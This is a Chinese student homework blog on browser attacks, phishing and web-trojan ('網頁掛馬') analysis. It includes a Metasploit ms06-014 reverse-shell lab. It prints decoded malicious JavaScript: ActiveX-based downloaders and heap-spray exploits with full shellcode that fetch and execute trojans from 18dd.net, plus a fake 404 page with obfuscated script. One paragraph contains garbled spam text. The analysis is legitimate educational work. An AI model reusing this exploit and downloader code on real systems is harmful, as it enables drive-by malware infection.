20199313 2019-2020-2 《網絡攻防實踐》第十二週做業

20199313 2019-2020-2 《網絡攻防實踐》第十一週做業

本博客屬於課程:《網絡攻防實踐》
本次做業:《第十一週做業》
我在這個課程的目標:掌握知識與技能,加強能力和本領,提升悟性和水平。javascript

Web瀏覽器安全與防禦

  • Web瀏覽器做爲目前互聯網時代最爲重要的軟件產品,也正遭遇着咱們以前已
經介紹過的軟件安全困境三要素的問題,即複雜性、可擴展性和連通性,從而使得Web瀏
覽器軟件與操做系統等大型系統軟件同樣,面臨着嚴峻的安全問題與挑戰,在近幾年的安
全威脅演化趨勢中,瀏覽器軟件所面臨的安全威脅,較操做系統與其餘網絡服務軟件所面
臨的安全威脅,要更加嚴重和流行。
  • Web瀏覽覇軟件的安全困境三要素
在複雜性方面,現代Web瀏覽器軟件因爲須要支持HTTP、HTTPS、FTP等多種類型
的應用層協議瀏覽,符合HTML、XHTML、CSS等一系列的頁面標準規範,支持JavaScript、
Flash、Java、SilverLight等多種客戶端執行環境,並知足大量的用戶瀏覽需求,己經變得
很是複雜和龐大。僅僅做爲完成現代瀏覽器最基本功能的內核引擎,Webkit開源代碼項目
的源代碼行數已經超過了 1.2百萬行,Firefox瀏覽器的源代碼行數則已超過了 2百萬行.
雖然較操做系統軟件的千萬行代碼級別還少一個數最級,但考慮到瀏覽器僅僅做爲一個成
用程序,它們的複雜性已經經過源代碼行數獲得了驗證。
  • 現代瀏覽器軟件的複雜性意味若
更多的錯誤和安全缺陷,也就致使了目前瀏覽器軟件中存在着可被滲透攻擊所利用的大量
安全漏洞。
在可擴展性方面,現代Web瀏覽器多是最突岀可擴展特性支持的軟件類型,冃前幾
乎全部的現代瀏覽器軟件都支持第三方插件擴展機制,並經過JavaScript等客廣端腳本執
行環境、沙箱和虛擬機來執行富Internet應用程序.而相對於大型軟件廠商所開發的瀏覽器
軟件自己而言,第三方擴展插件的開發過程更缺少安全保證,出現安全漏洞的狀況更爲普
遍。

web攻擊方式

1、溢出攻擊php

  實質上,溢出類攻擊是因爲將太多的數據放入原 始程序設計人員認爲足夠的空間中致使的。額外的數據溢出到預期存儲區附近的內存中,而且覆蓋與該區域的原始用途無關的數據。當執行餘下的程序時,它使用新 被覆蓋的數據。若是黑客可以用僞數據(也就是,NOP)填充足夠的空間,而後添加一點惡意代碼或值,那麼程序將執行惡意代碼或使用新值。這可能致使許多不 同的後果。黑客可能可以越過登陸,得到程序的管理員特權。若是受攻擊的程序是由系統管理員啓動的,那麼惡意代碼將做爲原始程序的一部分進行執行,給黑客系 統中的管理員特權。溢出脆弱點,儘管不老是出現,但在一些狀況下,可能很容易被補救,當開發應用程序時利用「安全」庫,使用堆棧保護或對輸入數據進行檢查,從而確保其是適當的大小或類型。這一類的利用老是以相似的方式進行,但會根據受影響的內存類型和預期效果而不一樣html

2、DDOS攻擊
分佈式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的,能夠通俗理解,dos是單挑,而ddos是羣毆,由於現代技術的發展,dos攻擊的殺傷力下降,因此出現了DDOS,攻擊者藉助公共網絡,將大數量的計算機設備聯合起來,向一個或多個目標進行攻擊。java

3、CSRF跨站點請求僞造(CSRF,Cross-Site Request Forgeries)ios

全稱是跨站請求僞造(cross site request forgery),指經過假裝成受信任用戶的進行訪問,通俗的講就是說我訪問了A網站,而後cookie存在了瀏覽器,而後我又訪問了一個流氓網站,不當心點了流氓網站一個連接(向A發送請求),這個時候流氓網站利用了個人身份對A進行了訪問。是指攻擊者經過已經設置好的陷阱,強制對已完成認證的用戶進行非預期的我的信息或設定信息等某些狀態的更新。屬於被動攻擊。更簡單的理解就是攻擊者盜用了你的名義,以你的名義發送了請求。
因爲用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,很容易僞造用戶發出請求web

  • 預防措施:
    之因此被攻擊是由於攻擊者利用了存儲在瀏覽器用於用戶認證的cookie,那麼若是咱們不用cookie來驗證不就能夠預防了。因此咱們能夠採用token(不存儲於瀏覽器)認證。經過referer識別,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,通常會帶上Referer,告訴服務器我是從哪一個頁面連接過來的,服務器基此能夠得到一些信息用於處理。那麼這樣的話,咱們必須登陸銀行A網站才能進行轉帳了。

4、SOL注入攻擊
是指經過對web鏈接的數據庫發送惡意的SQL語句而產生的攻擊,從而產生安全隱患和對網站的威脅,能夠形成逃過驗證或者私密信息泄露等危害。SQL注入的原理是經過在對SQL語句調用方式上的疏漏,惡意注入SQL語句。算法

5、XSS攻擊(Cross-Site scripting)
跨站腳本攻擊,是指在經過註冊的網站用戶的瀏覽器內運行非法的HTML標籤或javascript,從而達到攻擊的目的,如盜取用戶的cookie,改變網頁的DOM結構,重定向到其餘網頁等。shell

6、網頁掛馬數據庫

網頁掛馬的實質是2015年澳洲移民政策利用漏洞向用戶傳播木美國研究生申請指南馬下載器,當咱們更清2015年澳洲移民政策楚了這點就能作到有效澳大利亞讀研條件頁木馬就是網頁惡意軟留學加拿大條件木馬就是網頁惡意軟件威脅的罪魁禍首,和你們印象中的不一樣,準確的說,網頁木馬並非木馬程序,而應該稱爲網頁木馬「種植器」,也即一種經過攻擊瀏覽器或瀏覽器外掛程序(目標一般是IE瀏覽器和ActiveX程序)的漏洞,向目標用戶機器植入木馬、病毒、密碼盜取等惡意程序的手段。
目前攻擊者構建網頁木馬所使用的IE瀏覽器漏洞,包括最新的MS07004 VML漏洞,都是利用構造大量數據溢出瀏覽器或組件的緩衝區來執行攻擊代碼的,所以,用戶遭受溢出類的網頁木馬的攻擊時,一般系統的反應會變得十分緩慢,CPU佔用率很高,瀏覽器窗口沒有響應,也沒法使用任務管理器強行關閉。另外,在一些內存小於512M的系統上,溢出類的網頁木馬攻擊時,系統會頻繁的對磁盤進行讀寫操做(物理內存不夠用,系統自動擴大虛擬內存)。
進程變化狀況:
有少數的IE瀏覽器漏洞不屬於緩衝區溢出的漏洞,好比去年初出現的MS06014 XML漏洞,用戶在遭受使用它所構造的網頁木馬的攻擊時,系統反應不會有明顯的變化或者磁盤讀寫,頂多有時會短暫出現系統等待的沙漏圖標,不過期間很短,用戶一不留意就會錯過。這種狀況下,用戶能夠打開任務管理器或使用Process Explorer,查看是否有非用戶啓動的Iexplore.exe進程、名字比較奇怪的進程等來判斷是否遭受了網頁木馬的攻擊。
瀏覽器顯示:
攻擊者在使用網頁木馬的被動攻擊方式時,一般會在被其控制的合法網站上使用HTML中的iframe語句或java script方式來調用網頁木馬,若是用戶在打開某個合法網站時,發現IE瀏覽器左下角的狀態欄一直顯示一個和當前瀏覽網站一點關係都沒有的地址,同時系統響應變得很慢,或者是鼠標指針變成沙漏形狀,便有可能正在遭受網頁木馬的攻擊。json

網頁木馬防範措施

應對網頁木馬最根本的防範措施與應對傳統滲透攻擊同樣,就是提高操做系統與瀏覽端平臺軟件的安全性,能夠釆用操做系統自己提供的在線更新以及第三方軟件所提供的經常使用應用軟件更新機制,來確保所使用的計算機始終處於一種相對安全的狀態;另外安裝與實時更新一款優秀的反病毒軟件也是應對網頁木馬威脅必不可少的環節,同時養成安全上網瀏覽的良好習慣,並藉助於Google安全瀏覽、SiteAdvisor等站點安全評估工具的幫助,避免訪問那些可能遭遇掛馬或者安全性不高的網站,能夠有效地下降被網頁木馬滲透攻擊的機率;最後,在目前網頁木馬威脅主要危害Windows平臺和IE瀏覽器用戶的狀況下,或許安裝MacOS/Linux操做系統,並使用Chrome、Safari、Opera等冷門瀏覽器進行上網,作互聯網網民中特立獨行的少數派,能夠有效地避免網頁木馬的侵擾。

經常使用網站木馬文件後門檢測工具

1、D盾_Web查殺
軟件使用自行研發不分擴展名的代碼分析引擎,能分析更爲隱藏的WebShell後門行爲。引擎特別針對一句話後門,變量函數後門,${}執行 、preg_replace執行、call_user_func、file_put_contents、fputs等特殊函數的參數進行鍼對性的識別,能查殺更爲隱藏的後門,並把可疑的參數信息展示在你面前,讓你能更快速的瞭解後門的狀況,還加入隔離功能,而且能夠還原!
D盾_Web查殺官方下載地址:http://www.d99net.net/down/WebShellKill_V2.0.9.zip

2、WebShellkiller
WebShellkiller做爲一款web後門專殺工具,不只支持webshell的掃描,同時還支持暗鏈的掃描。這是一款融合了多重檢測引擎的查殺工具。在傳統正則匹配的基礎上,採用模擬執行,參數動態分析監測技術、webshell語義分析技術、暗鏈隱藏特徵分析技術,並根據webshell的行爲模式構建了基於機器學習的智能檢測模型。傳統技術與人工智能技術相結合、靜態掃描和動態分析相結合,更精準地檢測出WEB網站已知和未知的後門文件。
WebShellkiller官方下載地址:http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
3、河馬查殺
http://www.shellpub.com/
http://www.webshell.pub/
4、百度WebShell檢測
https://scanner.baidu.com/
5、WebShell 檢測工具
http://edr.sangfor.com.cn/backdoor_detection.html

網絡釣魚

常見的網絡釣魚手段
  「網絡釣魚」的主要伎倆在於仿冒某些公司的網站或電子郵件,而後對其中的程序代碼動手腳,若是使用者信覺得真地按其連接和要求填入我的重要資料,資料將被傳送到詐騙者手中。實際上,不法分子在實施網絡詐騙的犯罪活動過程當中,常常採起以上幾種手法交織、配合進行,還有的經過手機短信、QQ、MSN進行各類各樣的「網絡釣魚」不法活動。固然,也有一個遊戲叫網絡釣魚,也蠻好玩得.

  一 發送電子郵件,以虛假信息引誘用戶中圈套。 詐騙分子以垃圾郵件的形式大量發送欺詐性郵件,這些郵件多以中獎、顧問、對賬等內容引誘用戶在郵件中填入金融帳號和密碼,或是以各類緊迫的理由要求收件人登陸某網頁提交用戶名、密碼、身份證號、信用卡號等信息,繼而盜竊用戶資金。
  黑客先準備好一個網頁,網頁由ASP或PHP等腳本語言編寫。這個網頁能夠先期用webdump等軟件把真正的招商銀行等網站扒下來。而後經過本身寫的腳本程序,實現自動記錄用戶輸入的卡號和密碼。
  二創建假冒網上銀行、網上證券網站,騙取用戶賬號密碼實施盜竊。 犯罪分子創建起域名和網頁內容都與真正網上銀行系統、網上證券交易平臺極爲類似的網站,引誘用戶輸入帳號密碼等信息,進而經過真正的網上銀行、網上證券系統或者僞造銀行儲蓄卡、證券交易卡盜竊資金;還有的利用跨站腳本,即利用合法網站服務器程序上的漏洞,在站點的某些網頁中插入惡意Html代碼,屏蔽住一些能夠用來辨別網站真假的重要信息,利用cookies竊取用戶信息。
如曾出現過的某假冒銀行網站,網址爲[url]http://www.1cbc.com.cn[/url] ,而真正銀行網站是[url]http://www.icbc.com.cn[/url] ,犯罪分子利用數字1和字母i很是相近的特色企圖矇蔽粗心的用戶。

又如2004年7月發現的假聯想公司網站(網址爲[url]http://www.1enovo.com[/url] ),而真正網站爲[url]http://www.lenovo.com[/url] ,詐騙者利用了小寫字母l和數字1很相近的障眼法。詐騙者經過QQ散佈「聯想集團和騰訊公司聯合贈送QQ幣」的虛假消息,引誘用戶訪問。而一旦用戶訪問該網站,首先生成一個彈出窗口,上面顯示「免費贈送QQ幣」的虛假消息。而就在該彈出窗口出現的同時,惡意網站主頁面在後臺即經過多種IE漏洞下載病毒程序 lenovo.exe(TrojanDownloader.Rlay),並在2秒鐘後自動轉向到真正網站主頁,用戶在毫無覺察中就感染了病毒。病毒程序執行後,將下載該網站上的另外一個病毒程序bbs5.exe,用來竊取用戶的傳奇賬號、密碼和遊戲裝備。當用戶經過QQ聊天時,還會自動發送包含惡意網址的消息。
  三 利用虛假的電子商務進行詐騙。 此類犯罪活動每每是創建電子商務網站,或是在比較知名、大型的電子商務網站上發佈虛假的商品銷售信息,犯罪分子在收到受害人的購物匯款後就銷聲匿跡。如2003年,罪犯佘某創建「奇特器材網」網站,發佈出售間諜器材、黑客工具等虛假信息,誘騙顧主將購貨款匯入其用虛假身份在多個銀行開立的賬戶,而後轉移錢款的案件。除少數不法分子本身創建電子商務網站外,大部分人採用在知名電子商務網站上,如「易趣」、「淘寶」、「阿里巴巴」等,發佈虛假信息,以所謂「超低價」、「免稅」、「走私貨」、「慈善義賣」的名義出售各類產品,或以次充好,以走私貨充行貨,不少人在低價的誘惑下上當受騙。網上交易可能是異地交易,一般須要匯款。不法分子通常要求消費者先付部分款,再以各類理由誘騙消費者付餘款或者其餘各類名目的款項,獲得錢款或被識破時,就當即切斷與消費者的聯繫。
防範措施:
1.中止共享敏感信息。若是員工已經泄露了敏感的信息,應當即報告。企業要教育員工當即與經理、服務檯工做人員,或與網絡管理員、安全人員聯繫。後者要採起措施更改口令,或監視網絡的異常活動。
2.請求銀行等機構採起措施。若是員工共享了財務信息,或認爲財務信息遭到了泄露,應當即與相關機構聯繫。請求其監視帳戶的異常活動和費用,甚至在必要時關閉帳戶。
3.保護口令。若是懷疑口令遭到了泄露,應當即更改。公司應教育員工不能在多個系統或帳戶上使用相同的口令。要盡最大努力確保全部的口令都徹底不一樣。

javascript加密算法(XXTEA)

微型加密算法(Tiny Encryption Algorithm,TEA)是一種易於描述和執行的塊密碼,一般只須要不多的代碼就可實現。其設計者是劍橋大學計算機實驗室的大衛·惠勒與羅傑·尼達姆。這項技術最初於1994年提交給魯汶的快速軟件加密的研討會上,並在該研討會上演講中首次發表。
在給出的代碼中:加密使用的數據爲2個32位無符號整數,密鑰爲4個32位無符號整數即密鑰長度爲128位。
而XXTEA則是TEA的升級版,其具體加密過程吐下圖所示:

加密代碼以下:

#include <stdio.h>  
        #include <stdint.h>  
        #define DELTA 0x9e3779b9  
        #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
        void btea(uint32_t *v, int n, uint32_t const key[4])  
        {  
            uint32_t y, z, sum;  
            unsigned p, rounds, e;  
            if (n > 1)            /* Coding Part */  
            {  
                rounds = 6 + 52/n;  
                sum = 0;  
                z = v[n-1];  
                do  
                {  
                    sum += DELTA;  
                    e = (sum >> 2) & 3;  
                    for (p=0; p<n-1; p++)  
                    {  
                        y = v[p+1];  
                        z = v[p] += MX;  
                    }  
                    y = v[0];  
                    z = v[n-1] += MX;  
                }  
                while (--rounds);  
            }  
            else if (n < -1)      /* Decoding Part */  
            {  
                n = -n;  
                rounds = 6 + 52/n;  
                sum = rounds*DELTA;  
                y = v[0];  
                do  
                {  
                    e = (sum >> 2) & 3;  
                    for (p=n-1; p>0; p--)  
                    {  
                        z = v[p-1];  
                        y = v[p] -= MX;  
                    }  
                    z = v[n-1];  
                    y = v[0] -= MX;  
                    sum -= DELTA;  
                }  
                while (--rounds);  
            }  
        }   
        int main()  
        {  
            uint32_t v[2]= {1,2};  
            uint32_t const k[4]= {2,2,3,4};  
            int n= 2; //n的絕對值表示v的長度,取正表示加密,取負表示解密  
            // v爲要加密的數據是兩個32位無符號整數  
            // k爲加密解密密鑰,爲4個32位無符號整數,即密鑰長度爲128位  
            printf("加密前原始數據:%u %u\n",v[0],v[1]);  
            btea(v, n, k);  
            printf("加密後的數據:%u %u\n",v[0],v[1]);  
            btea(v, -n, k);  
            printf("解密後的數據:%u %u\n",v[0],v[1]);  
            return 0;  
        }

web攻擊實踐

按照往常的方法,以控制檯方式打開msfconsole軟件
search ms06-014後使用其提供的攻擊腳本use exploit/windows/browser/ie_createobject
這個腳本利用網頁經過瀏覽器作tcp反彈窗口木馬,讓人們鏈接到這個網站的同時創建起與攻擊機的tcp連接,使得攻擊機可以輕易地獲取靶機的shell操做權限,並經過shellcode來進行操做。

設置好一切準備工做後,操做靶機登入這個網址,提示爲一串字符串,若是咱們能作好隱藏工做,能減小被發現的機率。

sessions -i用於顯示咱們已經創建的連接信息,sessions -i 1則是選擇創建起的id爲1的連接回話,咱們進入這個回話纔可以操控靶機。
這裏咱們已經成功登錄了靶機,並顯示了靶機的各類信息例如ip:192.168.220.3(攻擊機ip:192.168.220.4)

網頁掛馬


這個掛馬網站如今已經沒法訪問了,但蜜網課題組的成員保留了最初作分析時全部的原始文件。首先你應該訪問 start.html,在這個文件中給出了 new09.htm 的地址,在進入 new09.htm後 ,每解密出一個文件地址 , 請對其做32位MD5散列 ,以散列值爲文件名到http://192.168.68.253/scom/hashed/目錄下去下載對應的文件(注意:文件名中的英文字母爲小寫, 且沒有擴展名),即爲解密出的地址對應的文件。若是解密出的地址給出的是網頁或腳本文件,請繼續解密;若是解密出的地址是二進制程序文件,請進行靜態反彙編或動態調試。重複以上過程直到這些文件被所有分析完成。請注意:被散列的文件地址應該是標準的 URL形式,形如 http://xx.18dd.net/a/b.htm,不然會致使散列值計算不正確而沒法繼續。
問題:
1.試述你是如何一步步地從所給的網頁中獲取最後的真實代碼的?
2.網頁和 JavaScript 代碼中都使用了什麼樣的加密方法?你是如何解密的?
3.從解密後的結果來看,攻擊者利用了那些系統漏洞?
4.解密後發現了多少個可執行文件?其做用是什麼?
5.這些可執行文件中有下載器麼?若是有,它們下載了哪些程序?這些程序又是什麼做用的?

start.html這個文件位置在ptf文檔中描述爲192.168.68.253/scon/start.html,可是很遺憾如今已經打不開了

這裏貼出解碼後的 JavaScript 代碼(解除了XXTEA加密,並將其中用64進制ACCII碼錶示的字符全轉爲字符形式,咱們本次做業在此基礎上進行分析,解碼過程見附錄)

function init(){document.write();}
        window.onload = init;
        if(document.cookie.indexOf('OK')==-1){
        try{var e;
        var ado=(document.createElement("object"));
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as=ado.createobject("Adodb.Stream","")}
        catch(e){};
        finally{
        var expires=new Date();
        expires.setTime(expires.getTime()+24*60*60*1000);
        document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
        if(e!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
        else{
        try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
        catch(f){};
        finally{if(f!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
        try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
        catch(g){};
        finally{if(g!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
        try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
        catch(h){};
        finally{if(h!="[object Error]"){
        obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
        }}}

對這段JavaScript進行簡要分析,這段js代碼一眼看去就很不健康,看到利用到的應用程序漏洞有不少:例如:Adodb.Stream 微軟數據庫訪問對象漏洞,MPS.StormPlayer 暴風影音漏洞,POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞,BaiduBar.Tool 百度搜霸漏洞,而且,攻擊者還經過js讓訪問者轉發訪問http://down.18dd.net/bb/bd.cab", 下載了一個文件"bd.exe"和一個「bd.cab"後者是一個壓縮文件
如何區分哪一個網址對應是哪一個文件呢?請出MD5來爲咱們解答:


咱們找出這個名爲5D7E9058A857AA2ABEE820D5473C5FA4的文件,就能夠看到這個MPS.StormPlayer 暴風影音漏洞的木馬文件。(64進制下的accii碼,能夠在word中一鍵轉換\x64爲\u0064的形式,而後再放進在線轉換工具裏,就能夠轉換出源碼了)

var url="http://down.18dd.net/bb/014.exe";
        try{  var xml=ado.CreateObject("Microsoft.XMLHTTP","");
              xml.Open("GET",url,0);
              xml.Send();
              as.type=1;
              as.open();
              as.write(xml.responseBody);
              path="..\\ntuser.com";as.savetofile(path,2);
              as.close();
              var shell=ado.createobject("Shell.Application","");
              shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}
        catch(e){}

咱們能夠看出,這段代碼建立了一個對該漏洞的利用,這個是014號運行文件,同理咱們能夠獲取剩下四個漏洞利用的源代碼

3

下面是http://aa.18dd.net/aa/b.js,也就是對POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用
加密源碼頭上就寫了Pack,真是生怕不知道人家是pack加密,用工具解密以後就看到了中間雙引號""之間的內容爲shellcode,其他部分經過pack解密就能夠看到源碼

u6643 = unescape("%u9090%u9090");
      undefined = 20;
      var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +           "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +           "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
      var slackspace = headersize + shellcode.length;
      while (bigblock.length < slackspace) bigblock += bigblock;
      fillblock = bigblock.substring(0, slackspace);
      block = bigblock.substring(0, bigblock.length - slackspace);
      while (block.length + slackspace < 0x40000) block = block + block + fillblock;
      memory = new Array();
      for (x = 0; x < 300; x++) memory[x] = block + shellcode;
      var buffer = '';
      while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
      storm.rawParse(buffer)

中間那段以雙引號加百分號構成的代碼,是經過escape加密的代碼,按照JavaScript的代碼理解:var shellcode = unescape("%uf3e9%u……是要經過unescape來解密出shellcode,可是這段代碼,我放在任何一個unexcape解密軟件中都未能獲取其shellcode真正想要的東西,
後來想明白了,這段代碼的順序可能不太對,就像上次作逆向的時候,代碼的順序頗有問題,真正在機器裏執行的順序有待商榷

這裏採用取巧的辦法,咱們不妨來找找 URL 中必然出現的斜線「//」,因爲shellcode這麼短,通常想到的就是下載一個後門木馬,來進行攻擊,因此訪問的網址中//必不可少,「//」的十六進制 ASCII 碼是 2F,兩個就是連着兩個2F,篩選一下再進行轉緩就獲得了http://down.18dd.net/bb/bf.exe,方法同上,咱們進行MD5運算,獲得其文件名,這個268CBD59FBED235F6CF6B41B92B03F8E就是對POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用,意圖用其下載另外一個木馬可執行軟件名爲bf.exe

3

接下來是利用BaiduBar.Tool 百度搜霸漏洞進行的第三個訪問頁面:http://aa.18dd.net/aa/pps.js,一樣md5運算後獲得文件名:5F0B8BF0385314DBE0E5EC95E6ABEDC2,小本本打開以下:

這回是八進制,一樣解密獲得結果(我刪除了文件頭的註釋,而後和第二個解法相似,找到//
這回訪問的是http://down.18dd.net/bb/pps.exe
一樣,對這個網址進行MD5運算能夠找到其hash文件名,這裏不贅述
(在可執行程序的文件夾裏也能夠直接找到他)
=>

pps = (document.createElement("object"));
        pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" +             "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
        var bigblock = unescape("%u9090%u9090");
        var headersize = 20;
        var slackspace = headersize + shellcode.length;
        while (bigblock.length < slackspace) bigblock += bigblock;
        fillblock = bigblock.substring(0, slackspace);
        block = bigblock.substring(0, bigblock.length - slackspace);
        while (block.length + slackspace < 0x40000) block = block + block + fillblock;
        memory = new Array();
        for (x = 0; x < 400; x++) memory[x] = block + shellcode;
        var buffer = '';
        while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
        pps.Logo = buffer

4

最後咱們來到最後一個壓縮文件的網址http://down.18dd.net/bb/bd.cab,對應hash值爲:1C1D7B3539A617517C49EEE4120783B2
找到他,小本本打開它:猛然發現,他貌似不是一個js代碼,看看他cab的後綴應該是個壓縮包,解壓事後就是那個名爲bd.exe的文件

到如今咱們獲得了四個exe文件,014.exe,bf.exe,pps.exe,bd.exe

抱着試一試的態度,想看看這些木馬的源碼是什麼樣子,先掃一掃看有沒有殼,PEID一掃pps.exe可不得了,媽耶,傳說中的原生殼,無人可破,惋惜看不到源碼什麼樣了。。。

可是!IDA仍是能給他編譯出來(不得不說的一點是,這三個文件同樣大,IDA走一遍後破案了,這四個exe是同樣的)pps.exe,運行以後,瘋狂下載文件,沒錯,剩下那些0~19都是這個木馬軟件下下來的,這玩意還修改了個人註冊表,個人虛擬機真是愈來愈卡了

取證分析

目標:
1.列出在捕獲文件中的應用層協議類型,你認爲攻擊是針對哪一個或哪些協議的?
2. 列出捕獲文件中的IP地址、主機名和域名。從這些信息中你能猜出攻擊場景的環
境配置狀況嗎?
3. 列出捕獲文件中的全部網頁頁面,其中哪些頁面包含了可疑的、多是惡意的
JavaScript腳本代碼?誰在鏈接這些頁面?請描述惡意網頁的攻擊目的?
4. 請給出攻擊者執行攻擊動做的概要描述。
5. 攻擊者引入了哪些技巧給你的分析帶來了困難,請提供在以前問題中識別的惡意
JavaScript腳本內容,並對它們進行解碼或解密。
6. 攻擊者的目標是哪一個操做系統,哪些應用軟件,哪些安全漏洞?如何阻止這些攻擊?
7. Shellcode執行了哪些動做?請列岀Shellcode的MD5,並比較它們之間的差別?
8. 在攻擊場景中有二進制可執行惡意代碼參與嗎?它們的目的是什麼?

1 協議類型

wireshark分析的有威脅的報文,最多的是針對http協議的,以下圖所示:

使用chaosreader也能夠看出相同的結果,並且給的更清晰,能夠看出好幾個攻擊都是netbios,確實存在風險。

  • 對chaosreader生成的文件使用命令篩選出主機列表,
    for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort

  • 在使用命令篩選出NBNS協議(獲取主機名稱和地址的映射):
    tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$3,$4,$10}' | sort -u
    很顯然這四個ip是同一個主機名所用的,在窗口中咱們也能夠看出這四個IP對應的mac地址相同,因此他們應該是同一臺主機下的虛擬機

打開文件夾,文件有不少,

打開session_0006.part_01.html,這是一個登陸界面,單純看他看不出來什麼


看到這以爲他就是一個釣魚網站,它以0美圓的價格讓你佔便宜,實際上就是爲了釣你的「魚」,可是目前還沒找出他的攻擊方式

到了這裏就出現了,以前咱們分析的JavaScript網頁掛載的攻擊手段,因此大致上應該是先由購物頁面引誘你上鉤,再讓你輸入帳號密碼登陸,最後再假裝404讓你意識不到本身被攻擊了,實際上已經將木馬投放到你的電腦了。

下面是這個假裝的404頁面的代碼(中間那段javascript代碼對於一個404頁面來講徹底不必)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html><head>
        <meta name="robots" content="noindex">
        <title>404 Not Found</title>
        </head><body>
        <h1>Not Found</h1>
        <p>The requested URL /fg/show.php was not found on this server.</p>
        <script language='JavaScript'>
        var CRYPT = {
            signature: 'CGerjg56R',
